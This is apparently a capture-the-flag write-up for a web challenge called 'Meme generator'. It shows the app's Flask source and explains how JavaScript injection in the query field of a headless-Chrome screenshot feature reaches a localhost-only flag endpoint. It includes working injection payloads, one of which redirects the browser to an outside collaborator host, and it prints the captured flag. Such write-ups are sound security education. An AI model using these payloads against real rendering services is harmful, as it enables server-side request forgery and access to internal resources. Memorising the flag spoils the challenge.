Meme generator
The solution is unintended.
Medium
250
Creating memes manually can sometimes become repetitive and boring, so I made this app to make your life easier. Although there's just one template available yet, it is fully customizable! You can do absolutely anything with it, even getting flags! (That's what a friend of mine said, not that I understand what a flag is)
View the application source code via
/source
endpointimport utils
from flask import Flask, render_template, request
import os
import html
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/api/generate", methods = ["POST"])
def generate():
search_engine = request.form.get("search_engine")
query = request.form.get("query")
if not (search_engine and query):
return "", 400
utils.take_screenshot(search_engine, query)
utils.make_meme()
return "", 200
@app.route("/source")
def source():
with open(__file__, "r") as f:
return f"<pre><code>{html.escape(f.read())}</code></pre>", 200
@app.route("/flag")
def flag():
# TODO: Fix typo
if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
return os.getenv("FLAG"), 200
return "Nice try", 200
app.run("0.0.0.0", 8080)
- the
index
function rendersindex.html
- The home page
index.html
asks for asearch_engine
input and aquery
input to generate a meme.
- The
search_engine
parameter and thequery
parameter must be defined. - The
search_engine
value and thequery
value passed to thetake_screenshot
function. - The
make_meme
function is called after taking the screenshot.
The flag can be obtained only if
- The address of the client sending the request is
127.0.0.1
. - The URL scheme must start with
http://l0calhost
. - The todo comment
# TODO: Fix typo
is aboutrequest.url.startswith("http://l0calhost")
.
Note:
The application is running on port 8080
- Choose
google
as a value for the search engine. - Enter
diefunction
as a value for the query. The application returns an image containing the google search page withdiefunction
as a keyword for the search.
- Choose google as a value for the search engine.
- Enter
~!@#$%^&*()-_=+[]{]\|;:'",.<>/?
separately as a value for the query. I noticed that if the query value contains"
the generator returns an empty page in the image.
Proof of concept
I assumed the challenge uses a browser driver to take a screenshot, and the injection code should be Javascript.
- Choose google as a value for the search engine.
- Enter
"+String.fromCharCode(65);escape="
javascript code as a value for the query. The meme generator returns the google search page withA
character as a keyword for the search meaning the browser executed the Javascript code.
The client browser
- Choose google as a value for the search engine.
- Enter
";top.location="http://<burpcollaborator>
Javascript code as a value for the query. From the Burpsuite collaborator output, theUser-Agent
appears to beHeadless Chrome
.
- Since the browser is chrome, the translation of
*.localhost
is always translated to127.0.0.1
, without/etc/host
orDNS
workarounds. [1] - Choose google as a value for the search engine.
- Enter
";top.location="http://l0calhost.localhost
Javascript code as a value for the query.
After generating a meme with the crafted javascript payload in the exploitation section, the
make_meme
function returns an image with the challenge flag.
Flag
BlackHatMEA{551:15:aa0910737fd02a9445d1f0250d03dd3b8c9e27b8}
- https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06
- https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/
- https://webmasters.stackexchange.com/questions/88636/why-does-chrome-resolve-websitename-localhost-as-localhost
Last modified 11mo ago